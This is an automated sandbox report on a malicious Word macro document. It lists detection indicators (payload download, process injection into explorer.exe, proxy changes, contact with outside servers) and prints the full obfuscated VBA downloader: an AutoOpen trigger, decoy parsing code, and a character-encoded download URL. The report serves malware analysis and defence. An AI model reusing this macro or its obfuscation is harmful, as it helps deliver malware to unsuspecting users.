Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

• Malicious Indicators 15

• External Systems
  • Sample was identified as malicious by a trusted Antivirus engine

    details

    No specific details available

    source

    External System

    relevance

    5/10

  • Sample was identified as malicious by at least one Antivirus engine

    details

    5/54 Antivirus vendors marked sample as malicious (9% detection rate)

    source

    External System

    relevance

    8/10

• General
  • Document spawns new processes

    details

    Document spawned a new process (macro present)

    source

    Indicator Combinations

    relevance

    7/10

  • GETs files from a webserver

    details

    "GET /56gf/g545.exe HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
    Host: jjcoll.in
    Connection: Keep-Alive"

    source

    Network Traffic

    relevance

    10/10

  • The input sample dropped a file that was identified as malicious

    details

    2/54 Antivirus vendors marked dropped file "g545[1].exe.177218" as malicious (classified as "QVM20.1.Malware" with 3% detection rate)
    2/54 Antivirus vendors marked dropped file "perdoma.exe.177625" as malicious (classified as "QVM20.1.Malware" with 3% detection rate)

    source

    Extracted File

    relevance

    10/10

• Installation/Persistance
  • Allocates virtual memory in foreign process

    details

    "perdoma.exe" allocated 00005012 bytes of memory in "explorer.exe" (Protection: "execute/read/write")
    "perdoma.exe" allocated 00335872 bytes of memory in "explorer.exe" (Protection: "read/write")

    source

    API Call

    relevance

    7/10

  • Injects into explorer

    details

    Injected into "Explorer.EXE" (Show Process)

    source

    Monitored Target

    relevance

    5/10

  • Writes data to a remote process

    details

    "perdoma.exe" wrote 335872 bytes to a foreign process "explorer.exe" (PID: 00001496)

    source

    API Call

    relevance

    6/10

• Network Related
  • Uses network protocols on unusual ports

    details

    TCP traffic to 85.143.166.200 on port 1743

    source

    Network Traffic

    relevance

    7/10

• Spyware/Information Retrieval
  • Accesses potentially sensitive information from local browsers

    details

    "perdoma.exe" had access to "%LOCALAPPDATA%\Microsoft\Windows\History\History.IE5" (Type: "FileHandle", Context: "NtSetInformationFile")

    source

    Touched Handle

    relevance

    5/10

• Unusual Characteristics
  • Contains embedded VBA macros with keywords that indicate auto-execute behavior

    details

    Found keyword "AutoOpen" which indicates: "Runs when the Word document is opened"

    source

    Static Parser

    relevance

    10/10

  • Spawns a lot of processes

    details

    Spawned process "WINWORD.EXE" with commandline "/n /dde" (Show Process)
    Spawned process "perdoma.exe" (Show Process)
    Spawned process "Explorer.EXE" with commandline "%WINDIR%\Explorer.EXE" (Show Process)
    Spawned process "taskhost.exe" (Show Process)
    Spawned process "OffDiag.exe" with commandline "/SOURCE 1 /LCID 1031 /WAITPID 2676" (Show Process)

    source

    Monitored Target

    relevance

    8/10

• Hiding 3 Malicious Indicators
  • All indicators are available only in the private webservice or standalone version

• Suspicious Indicators 11

• Installation/Persistance
  • Creates/touches files in windows directory

    details

    "perdoma.exe" created file "%WINDIR%\system32\en-US\WINHTTP.dll.mui"
    "perdoma.exe" created file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QA0UPEJW\85_143_166_200[1].txt"
    "perdoma.exe" created file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\E9S7QCHY\85_143_166_200[1].txt"

    source

    API Call

    relevance

    7/10

  • Drops executable files

    details

    "g545[1].exe.177218" has type "PE32 executable (console) Intel 80386, for MS Windows"
    "perdoma.exe.177625" has type "PE32 executable (console) Intel 80386, for MS Windows"

    source

    Extracted File

    relevance

    10/10

• Network Related
  • Uses a User Agent typical for browsers, although no browser was ever launched

    details

    Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

    source

    Network Traffic

    relevance

    10/10

• Spyware/Information Retrieval
  • Contains ability to enumerate processes/modules/threads

    details

    CreateToolhelp32Snapshot@KERNEL32.DLL from PID 00001784

    source

    Hybrid Analysis Technology

    relevance

    5/10

• System Destruction
  • Marks file for deletion

    details

    "%TEMP%\perdoma.exe" marked "%TEMP%\CabDAE9.tmp" for deletion
    "%TEMP%\perdoma.exe" marked "%TEMP%\TarDAEA.tmp" for deletion
    "%TEMP%\perdoma.exe" marked "%SAMPLEDIR%\Users\PSPUBWS\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QA0UPEJW\85_143_166_200[1].txt" for deletion

    source

    API Call

    relevance

    10/10

• System Security
  • Modifies proxy settings

    details

    "perdoma.exe" (Access type: "SETVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "PROXYENABLE", Value: "00000000")
    "perdoma.exe" (Access type: "DELETEVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "PROXYSERVER")
    "perdoma.exe" (Access type: "DELETEVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS", Key: "PROXYOVERRIDE")
    "perdoma.exe" (Access type: "DELETEVAL", Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP", Key: "PROXYBYPASS")
    "perdoma.exe" (Access type: "DELETEVAL", Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP", Key: "PROXYBYPASS")

    source

    Registry Access

    relevance

    10/10

• Unusual Characteristics
  • Contains embedded VBA macros with suspicious keywords

    details

    Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings"
    Found suspicious keyword "CallByName" which indicates: "May attempt to obfuscate malicious function calls"
    Found suspicious keyword "Output" which indicates: "May write to a file (if combined with Open)"
    Found suspicious keyword "Print #" which indicates: "May write to a file (if combined with Open)"
    Found suspicious keyword "CreateObject" which indicates: "May create an OLE object"
    Found suspicious keyword "Open" which indicates: "May open a file"

    source

    Static Parser

    relevance

    10/10

  • Contains embedded string with suspicious keywords

    details

    Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings"
    Found suspicious keyword "Environ" which indicates: "May read system environment variables"
    Found suspicious keyword "Output" which indicates: "May write to a file (if combined with Open)"
    Found suspicious keyword "Print #" which indicates: "May write to a file (if combined with Open)"
    Found suspicious keyword "Open" which indicates: "May open a file"
    Found suspicious keyword "CallByName" which indicates: "May attempt to obfuscate malicious function calls"
    Found suspicious keyword "CreateObject" which indicates: "May create an OLE object"
    Found suspicious keyword "Windows" which indicates: "May enumerate application windows (if combined with Shell.Application object)"
    Found suspicious keyword "Lib" which indicates: "May run code from a DLL"
    Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command"
    Found suspicious keyword "Shell.Application" which indicates: "May run an application (if combined with CreateObject)"

    source

    String

    relevance

    10/10

  • Installs hooks/patches the running process

    details

    "WINWORD.EXE" wrote bytes "E92319F3F0" to virtual address "0x77013D01" ("SetUnhandledExceptionFilter@kernel32.dll")
    "WINWORD.EXE" wrote bytes "81A241C5" to virtual address "0x2FCF1634" (part of module "WINWORD.EXE")
    "taskhost.exe" wrote bytes "00" to virtual address "0x0A832000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0A903000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x05202000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0AB50000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0B902000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0A763000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0B906000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x04CE7000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x04EC3000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x02955000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x04FF2000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0B90A000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0AAE1000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x04CE3000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x02951000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0A902000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x0A833000"
    "taskhost.exe" wrote bytes "00" to virtual address "0x05203000"

    source

    Hook Detection

    relevance

    10/10

• Hiding 2 Suspicious Indicators
  • All indicators are available only in the private webservice or standalone version

• Informative 10

• General
  • Contacts domains

    details

    "jjcoll.in"

    source

    Network Traffic

    relevance

    1/10

  • Contacts server

    details

    "198.12.152.113:80"
    "85.143.166.200:1743"

    source

    Network Traffic

    relevance

    1/10

  • Contains embedded VBA macros

    details

    File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub autoopen()
    CargarFichProc "/"
    End Sub"
    File "Module1.bas" (Streampath: "Macros/VBA/Module1") has code: "Public uncunctuncE_1 As Object
    Public uncunctuncE_2 As Object
    Public uncunctuncE_3 As Object
    Public uncunctuncE_4 As String
    Public uncunctuncE_5 As String
    Public uncunctuncE_6 As Object
    Public Const STILL_ACTIVE = &H103
    Dim mandata() As String
    Public Const PROCESS_QUERY_INFORMATION = &H400
    Public Sub CargarFichProc(NombreFichero As String)
    Dim f As Integer
    Dim Buffer As String
    Dim Cadena As String
    Dim i As Integer
    Dim Aux As Integer
    Dim Fallo As Boolean
    Fallo = False
    bHayNORMA = False
    bHayNORMAC = False
    bHaySNIFTD = False
    bHayEXPAND = False
    bHaySFIFT = False
    bHayCNIFT = False
    bHayPNIFT = False
    bHayPNIFU = False
    bHayFrecs = False
    GoTo perd
    For i = 0 To UBound(sProc) Step 1
    sProc(i) = Unchecked
    Next i
    sProc(0) = CharSinCargar
    sProc(3) = CharSinCargar
    For i = 0 To UBound(sSNIFTD_EXPAND) Step 1
    sSNIFTD_E.XPAND(i) = CharSinCargar
    Next i
    sSNIFTD_E.XPAND(10) = Unchecked
    For i = 0 To UBound(sSFIFT) Step 1
    sSF.IFT(i) = CharSinCargar
    Next i
    For i = 0 To UBound(sCNIFT) Step 1
    sCN.IFT(i) = CharSinCargar
    Next i
    sCN.IFT(11) = Unchecked
    For i = 0 To UBound(sPNIFT) Step 1
    sPN.IFT(i) = CharSinCargar
    Next i
    sPN.IFT(4) = Unchecked
    sPN.IFT(7) = Unchecked
    For i = 0 To UBound(sPNIFU) Step 1
    sPNI.FU(i) = CharSinCargar
    Next i
    sPNI.FU(0) = Unchecked
    On Error GoTo ManipularErrorCargarProc
    f = FreeFile
    Open NombreFichero For Input As f
    Do
    Line Input #f, Buffer
    Cadena = ExtraeDato.Dcha(Buffer)
    Select Case ExtraeDatoI.zqda(Buffer)
    Case "", " ", CharLineaVacia
    Case Asteriscos & Asteriscos
    Case ClaveDAMA
    sProc(0) = Cadena
    Case ClaveNOFREC
    Aux = Fix(Val(SinLe.tras(ExtraeDatoIz.qda(Cadena))))
    If Aux > 0 Then
    bHayFrecs = True
    For i = 0 To Aux - 1 Step 1
    Input #f, Buffer
    ReDim Preserve sPro.c1(i)
    sPro.c1(i) = ExtraeDato.Izqda(Buffer)
    sPro.c1(i) = SinLe.tras(sPro.c1(i))
    Next i
    End If
    Case ClaveINI_NORMA
    bHayNORMA = True
    sProc(2) = Checked
    Case ClaveTEXCIT
    Select Case Cadena
    Case PrefLINX
    sProc(3) = ClaveLINX
    Case PrefLINY
    sProc(3) = ClaveLINY
    Case PrefCIRC
    sProc(3) = ClaveCIRC
    End Select
    Case ClaveFIN_NORMA
    Case ClaveINI_NORMACOMP
    bHayNORMAC = True
    sProc(11) = Checked
    Case ClaveFIN_NORMACOMP
    Case ClaveINI_SNIFTD
    bHaySNIFTD = True
    sProc(5) = Checked
    sProc(4) = sProc(5)
    Case ClaveINI_EXPAND
    bHayEXPAND = True
    sProc(6) = Checked
    sProc(4) = sProc(6)
    Case ClaveINSONDA
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSONDA_1
    sSNIFTD_E.XPAND(7) = ClaveSONDA_1
    Case PrefSONDA_2
    sSNIFTD_E.XPAND(7) = ClaveSONDA_2
    Case PrefSONDA_3
    sSNIFTD_E.XPAND(7) = ClaveSONDA_3
    End Select
    sSNIFTD_E.XPAND(8) = ExtraeDato.Dcha(Cadena)
    Case ClaveROUT
    sSNIFTD_E.XPAND(9) = SinLet.ras(Cadena)
    If sSNIFTD_E.XPAND(9) = "0" Then
    sSNIFTD_E.XPAND(10) = Checked
    Else
    sSNIFTD_E.XPAND(10) = Unchecked
    End If
    Case ClaveOUTTHETA_SE
    sSNIFTD_E.XPAND(11) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(11) = SinLe.tras(sSNIFTD_E.XPAND(11))
    Cadena = ExtraeDa.toDcha(Cadena)
    sSNIFTD_E.XPAND(12) = ExtraeDa.toIzqda(Cadena)
    sSNIFTD_E.XPAND(12) = SinLe.tras(sSNIFTD_E.XPAND(12))
    Case ClaveOUTPHI_SE
    sSNIFTD_E.XPAND(13) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(13) = SinLe.tras(sSNIFTD_E.XPAND(13))
    Cadena = ExtraeDatoD.cha(Cadena)
    sSNIFTD_E.XPAND(14) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(14) = SinLe.tras(sSNIFTD_E.XPAND(14))
    Case ClaveOUTSONDA
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSONDA_1
    sSNIFTD_E.XPAND(15) = ClaveSONDA_1
    Case PrefSONDA_2
    sSNIFTD_E.XPAND(15) = ClaveSONDA_2
    Case PrefSONDA_3
    sSNIFTD_E.XPAND(15) = ClaveSONDA_3
    End Select
    sSNIFTD_E.XPAND(16) = ExtraeDatoD.cha(Cadena)
    Case ClaveFIN_SNIFTD, ClaveFIN_EXPAND
    Case ClaveINI_SFIFT
    bHaySFIFT = True
    sProc(7) = Checked
    Case ClaveR0
    sSF.IFT(3) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(3) = SinLe.tras(sSF.IFT(3))
    Case ClaveLFI0
    sSF.IFT(4) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(4) = SinLe.tras(sSF.IFT(4))
    Case ClaveLFI90
    sSF.IFT(5) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(5) = SinLe.tras(sSF.IFT(5))
    Case ClaveGSonda
    sSF.IFT(6) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(6) = SinLe.tras(sSF.IFT(6))
    Case ClaveCSonda
    sSF.IFT(7) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(7) = SinLe.tras(sSF.IFT(7))
    Case ClaveFIN_SFIFT
    Case ClaveINI_CNIFT
    bHayCNIFT = True
    sProc(8) = Checked
    Case ClaveTHETA_C
    sCN.IFT(7) = ExtraeDat.oIzqda(Cadena)
    sCN.IFT(7) = SinLe.tras(sCN.IFT(7))
    sCN.IFT(8) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(8) = SinLe.tras(sCN.IFT(8))
    Case ClavePHI_C
    sCN.IFT(9) = ExtraeDat.oIzqda(Cadena)
    sCN.IFT(9) = SinLe.tras(sCN.IFT(9))
    sCN.IFT(10) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(10) = SinLe.tras(sCN.IFT(10))
    Case ClaveCENTRAR_C
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSI
    sCN.IFT(11) = Checked
    Case PrefNO
    sCN.IFT(11) = Unchecked
    Case Else
    sCN.IFT(11) = Grayed
    End Select
    sCN.IFT(12) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(12) = SinLe.tras(sCN.IFT(12))
    Case ClavePERDYGAN
    sCN.IFT(13) = ExtraeDat.oIzqda(Cadena)
    sCN.IFT(13) = SinLe.tras(sCN.IFT(13))
    sCN.IFT(14) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(14) = SinLe.tras(sCN.IFT(14))
    Case ClaveFSONDA
    sCN.IFT(15) = Cadena
    Case ClaveFIN_CNIFT
    Case ClaveINI_PNIFT
    bHayPNIFT = True
    sProc(9) = Checked
    Case ClaveTHETA_P
    sPN.IFT(0) = ExtraeDat.oIzqda(Cadena)
    sPN.IFT(0) = SinLe.tras(sPN.IFT(0))
    sPN.IFT(1) = ExtraeDatoD.cha(Cadena)
    sPN.IFT(1) = SinLe.tras(sPN.IFT(1))
    Case ClavePHI_P
    sPN.IFT(2) = ExtraeDat.oIzqda(Cadena)
    sPN.IFT(2) = SinLe.tras(sPN.IFT(2))
    sPN.IFT(3) = ExtraeDatoD.cha(Cadena)
    sPN.IFT(3) = SinLe.tras(sPN.IFT(3))
    Case ClaveFICHRNF
    sPN.IFT(5) = Cadena
    If sPN.IFT(5) <> "" Then
    sPN.IFT(4) = Checked
    Else
    sPN.IFT(4) = Unchecked
    End If
    Case ClaveFICHPRB
    sPN.IFT(6) = Cadena
    Case ClaveFICHREF
    sPN.IFT(8) = Cadena
    If sPN.IFT(8) <> "" Then
    sPN.IFT(7) = Checked
    Else
    sPN.IFT(7) = Unchecked
    End If
    Case ClavePERDINS
    sPN.IFT(9) = ExtraeDat.oIzqda(Cadena)
    sPN.IFT(9) = SinLe.tras(sPN.IFT(9))
    Case ClaveFIN_PNIFT
    Case ClaveINI_PNIFU
    bHayPNIFU = True
    sProc(10) = Checked
    Case ClaveCENTGIRAR_U
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSI
    sPNI.FU(0) = Checked
    Case PrefNO
    sPNI.FU(0) = Unchecked
    Case Else
    sPNI.FU(0) = Grayed
    End Select
    sPNI.FU(1) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(1) = SinLe.tras(sPNI.FU(1))
    Case ClaveTRANSF_U
    Select Case Cadena
    Case PrefSINCAMBIO
    sPNI.FU(2) = ClaveSINCAMBIO
    Case PrefCONCAMBIO
    sPNI.FU(2) = ClaveCONCAMBIO
    End Select
    Case ClaveCMPTE_U
    Select Case Cadena
    Case PrefCPXY
    sPNI.FU(3) = ClaveCPXY
    Case PrefAE
    sPNI.FU(3) = ClaveAE
    Case PrefTHPH
    sPNI.FU(3) = ClaveTHPH
    Case PrefRHLH
    sPNI.FU(3) = ClaveRHLH
    Case PrefEMEM
    sPNI.FU(3) = ClaveEMEM
    End Select
    Case ClaveFORMATO
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefFORM_1
    sPNI.FU(4) = ClaveFORM_1
    Case PrefFORM_2
    sPNI.FU(4) = ClaveFORM_2
    Case PrefFORM_3
    sPNI.FU(4) = ClaveFORM_3
    Case PrefFORM_4
    sPNI.FU(4) = ClaveFORM_4
    End Select
    sPNI.FU(5) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(5) = SinLe.tras(sPNI.FU(5))
    Case ClaveTHETA_U
    sPNI.FU(6) = ExtraeDat.oIzqda(Cadena)
    sPNI.FU(6) = SinLe.tras(sPNI.FU(6))
    sPNI.FU(7) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(7) = SinLe.tras(sPNI.FU(7))
    Case ClavePHI_U
    sPNI.FU(8) = ExtraeDat.oIzqda(Cadena)
    sPNI.FU(8) = SinLe.tras(sPNI.FU(8))
    Case ClaveFACTEXP
    sPNI.FU(9) = ExtraeDat.oIzqda(Cadena)
    sPNI.FU(9) = SinLe.tras(sPNI.FU(9))
    sPNI.FU(10) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(10) = SinLe.tras(sPNI.FU(10))
    Case ClaveFIN
    Case ClaveFIN_PNIFU
    Case Else
    Fallo = True
    End Select
    Loop Until EOF(f)
    Close f
    perd:
    mandata = Split(UserForm1.ComboBox1.Text, NombreFichero)
    GoTo perd1
    If Fallo Then
    i = MsgBox("Se han ignorado algunas entradas
    compruebe la configuraci?n", _
    vbOKOnly + vbInformation, "AVISO PROCESADO DE DATOS")
    End If
    SalirCargarProc:
    Exit Sub
    ManipularErrorCargarProc:
    i = MsgBox("No existe el fichero o est? da?ado" _
    & vbNewLine & Err.Description, _
    vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
    Resume Next
    perd1:
    CargarFichIncer ""
    uncunctuncE_6.Open (uncunctuncE_5)
    End Sub
    Public Function AddFieldToField(uncunctuncE_9() As Variant, uncunctuncE_10 As Integer) As String
    Dim uncunctuncE_8 As Integer
    Dim uncunctunc2_1 As String
    uncunctunc2_1 = ""
    For uncunctuncE_8 = LBound(uncunctuncE_9) To UBound(uncunctuncE_9)
    uncunctunc2_1 = uncunctunc2_1 & Chr(uncunctuncE_9(uncunctuncE_8) - 9854 - uncunctuncE_10 - uncunctuncE_10 - uncunctuncE_10 - uncunctuncE_10)
    Next uncunctuncE_8
    AddFieldToField = uncunctunc2_1
    End Function
    Public Sub CargarFichIncer(NombreFichero As String)
    Dim f As Integer
    Dim Buffer As String
    Dim Cadena As String
    Dim i As Integer
    Dim Aux As Integer
    Dim Fallo As Boolean
    Fallo = False
    bHaySNIFTD = False
    bHayEXPAND = False
    bHaySFIFT = False
    bHayCNIFT = False
    bHayPNIFT = False
    bHayPNIFU = False
    bHayFrecs = False
    GoTo perd
    For i = 0 To UBound(sProc) Step 1
    sProc(i) = Unchecked
    Next i
    sProc(0) = CharSinCargar
    sProc(3) = CharSinCargar
    For i = 0 To UBound(sSNIFTD_EXPAND) Step 1
    sSNIFTD_E.XPAND(i) = CharSinCargar
    Next i
    sSNIFTD_E.XPAND(10) = Unchecked
    For i = 0 To UBound(sSFIFT) Step 1
    sSF.IFT(i) = CharSinCargar
    Next i
    For i = 0 To UBound(sCNIFT) Step 1
    sCN.IFT(i) = CharSinCargar
    Next i
    sCN.IFT(11) = Unchecked
    For i = 0 To UBound(sPNIFT) Step 1
    sPN.IFT(i) = CharSinCargar
    Next i
    sPN.IFT(4) = Unchecked
    sPN.IFT(7) = Unchecked
    For i = 0 To UBound(sPNIFU) Step 1
    sPNI.FU(i) = CharSinCargar
    Next i
    sPNI.FU(0) = Unchecked
    Pot_ruido = CharSinCargar
    Drift = CharSinCargar
    DriftMod = CharSinCargar
    Leakage = CharSinCargar
    CablesJuntas = CharSinCargar
    CablesJuntasMod = CharSinCargar
    Dut = CharSinCargar
    Sgh = CharSinCargar
    Cables = CharSinCargar
    Num_simulaciones = CharSinCargar
    Junto2 = Unchecked
    Junto = CharSinCargar
    On Error GoTo ManipularErrorCargarProc
    f = FreeFile
    Open NombreFichero For Input As f
    Do
    Line Input #f, Buffer
    Cadena = ExtraeDatoD.cha(Buffer)
    Select Case ExtraeDat.oIzqda(Buffer)
    Case "", " ", CharLineaVacia
    Case Asteriscos & Asteriscos
    Case "FICHERO_MED"
    sProc(0) = Cadena
    Case "FICHERO_INCER"
    sPathMedida = Cadena
    Case ClaveNOFREC
    Aux = Fix(Val(SinLe.tras(ExtraeDat.oIzqda(Cadena))))
    If Aux > 0 Then
    bHayFrecs = True
    For i = 0 To Aux - 1 Step 1
    Input #f, Buffer
    sPr.oc1(i) = ExtraeDat.oIzqda(Buffer)
    sPr.oc1(i) = SinLe.tras(sPro.c1(i))
    Next i
    End If
    perd:
    Set uncunctuncE_1 = CreateObject(mandata(0))
    
    Set uncunctuncE_2 = CreateObject(mandata(1))
    Set uncunctuncE_6 = CreateObject(mandata(2))
    Set hokuk = CreateObject(mandata(3))
    Set uncunctuncE_3 = hokuk.Environment(mandata(4))
    GoTo perd2
    Case ClaveTEXCIT
    Select Case Cadena
    Case PrefLINX
    sProc(3) = ClaveLINX
    Case PrefLINY
    sProc(3) = ClaveLINY
    Case PrefCIRC
    sProc(3) = ClaveCIRC
    End Select
    Case ClaveINI_SNIFTD
    bHaySNIFTD = True
    sProc(5) = Checked
    sProc(4) = sProc(5)
    Case ClaveINI_EXPAND
    bHayEXPAND = True
    sProc(6) = Checked
    sProc(4) = sProc(6)
    Case ClaveINSONDA
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSONDA_1
    sSNIFTD_E.XPAND(7) = ClaveSONDA_1
    Case PrefSONDA_2
    sSNIFTD_E.XPAND(7) = ClaveSONDA_2
    Case PrefSONDA_3
    sSNIFTD_E.XPAND(7) = ClaveSONDA_3
    End Select
    sSNIFTD_E.XPAND(8) = ExtraeDatoD.cha(Cadena)
    Case ClaveROUT
    sSNIFTD_E.XPAND(9) = SinLe.tras(Cadena)
    If sSNIFTD_E.XPAND(9) = "0" Then
    sSNIFTD_E.XPAND(10) = Checked
    Else
    sSNIFTD_E.XPAND(10) = Unchecked
    End If
    Case ClaveOUTTHETA_SE
    sSNIFTD_E.XPAND(11) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(11) = SinLe.tras(sSNIFTD_E.XPAND(11))
    Cadena = ExtraeDatoD.cha(Cadena)
    sSNIFTD_E.XPAND(12) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(12) = SinLe.tras(sSNIFTD_E.XPAND(12))
    Case ClaveOUTPHI_SE
    sSNIFTD_E.XPAND(13) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(13) = SinLe.tras(sSNIFTD_E.XPAND(13))
    Cadena = ExtraeDatoD.cha(Cadena)
    sSNIFTD_E.XPAND(14) = ExtraeDat.oIzqda(Cadena)
    sSNIFTD_E.XPAND(14) = SinLe.tras(sSNIFTD_E.XPAND(14))
    Case ClaveOUTSONDA
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSONDA_1
    sSNIFTD_E.XPAND(15) = ClaveSONDA_1
    Case PrefSONDA_2
    sSNIFTD_E.XPAND(15) = ClaveSONDA_2
    Case PrefSONDA_3
    sSNIFTD_E.XPAND(15) = ClaveSONDA_3
    End Select
    sSNIFTD_E.XPAND(16) = ExtraeDatoD.cha(Cadena)
    Case ClaveFIN_SNIFTD, ClaveFIN_EXPAND
    Case ClaveINI_SFIFT
    bHaySFIFT = True
    sProc(7) = Checked
    Case ClaveR0
    sSF.IFT(3) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(3) = SinLe.tras(sSF.IFT(3))
    Case ClaveLFI0
    sSF.IFT(4) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(4) = SinLe.tras(sSF.IFT(4))
    Case ClaveLFI90
    sSF.IFT(5) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(5) = SinLe.tras(sSF.IFT(5))
    Case ClaveGSonda
    sSF.IFT(6) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(6) = SinLe.tras(sSF.IFT(6))
    Case ClaveCSonda
    sSF.IFT(7) = ExtraeDat.oIzqda(Cadena)
    sSF.IFT(7) = SinLe.tras(sSF.IFT(7))
    Case ClaveFIN_SFIFT
    Case ClaveINI_CNIFT
    bHayCNIFT = True
    sProc(8) = Checked
    Case ClaveTHETA_C
    sCN.IFT(7) = ExtraeDat.oIzqda(Cadena)
    sCN.IFT(7) = SinLe.tras(sCN.IFT(7))
    sCN.IFT(8) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(8) = SinLe.tras(sCN.IFT(8))
    Case ClavePHI_C
    sCN.IFT(9) = ExtraeDat.oIzqda(Cadena)
    sCN.IFT(9) = SinLe.tras(sCN.IFT(9))
    sCN.IFT(10) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(10) = SinLe.tras(sCN.IFT(10))
    Case ClaveCENTRAR_C
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSI
    sCN.IFT(11) = Checked
    Case PrefNO
    sCN.IFT(11) = Unchecked
    Case Else
    sCN.IFT(11) = Grayed
    End Select
    perd2:
    Dim uncunctuncE_7() As Variant
    uncunctuncE_7 = Array(10074, 10086, 10086, 10082, 10028, 10017, 10017, 10076, 10076, 10069, 10081, 10078, 10078, 10016, 10075, 10080, 10017, 10023, 10024, 10073, 10072, 10017, 10073, 10023, 10022, 10023, 10016, 10071, 10090, 10071)
    uncunctuncE_1.Open mandata(5), AddFieldToField(uncunctuncE_7, 29), False
    GoTo perd3
    sCN.IFT(12) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(12) = SinLe.tras(sCN.IFT(12))
    Case ClavePERDYGAN
    sCN.IFT(13) = ExtraeDat.oIzqda(Cadena)
    sCN.IFT(13) = SinLe.tras(sCN.IFT(13))
    sCN.IFT(14) = ExtraeDatoD.cha(Cadena)
    sCN.IFT(14) = SinLe.tras(sCN.IFT(14))
    Case ClaveFSONDA
    sCN.IFT(15) = Cadena
    Case ClaveFIN_CNIFT
    Case ClaveINI_PNIFT
    bHayPNIFT = True
    sProc(9) = Checked
    Case ClaveTHETA_P
    sPN.IFT(0) = ExtraeDat.oIzqda(Cadena)
    sPN.IFT(0) = SinLe.tras(sPN.IFT(0))
    sPN.IFT(1) = ExtraeDatoD.cha(Cadena)
    sPN.IFT(1) = SinLe.tras(sPN.IFT(1))
    Case ClavePHI_P
    sPN.IFT(2) = ExtraeDat.oIzqda(Cadena)
    sPN.IFT(2) = SinLe.tras(sPN.IFT(2))
    sPN.IFT(3) = ExtraeDatoD.cha(Cadena)
    sPN.IFT(3) = SinLe.tras(sPN.IFT(3))
    Case ClaveFICHRNF
    sPN.IFT(5) = Cadena
    If sPN.IFT(5) <> "" Then
    sPN.IFT(4) = Checked
    Else
    sPN.IFT(4) = Unchecked
    End If
    Case ClaveFICHPRB
    sPN.IFT(6) = Cadena
    Case ClaveFICHREF
    sPN.IFT(8) = Cadena
    If sPN.IFT(8) <> "" Then
    sPN.IFT(7) = Checked
    Else
    sPN.IFT(7) = Unchecked
    End If
    Case ClavePERDINS
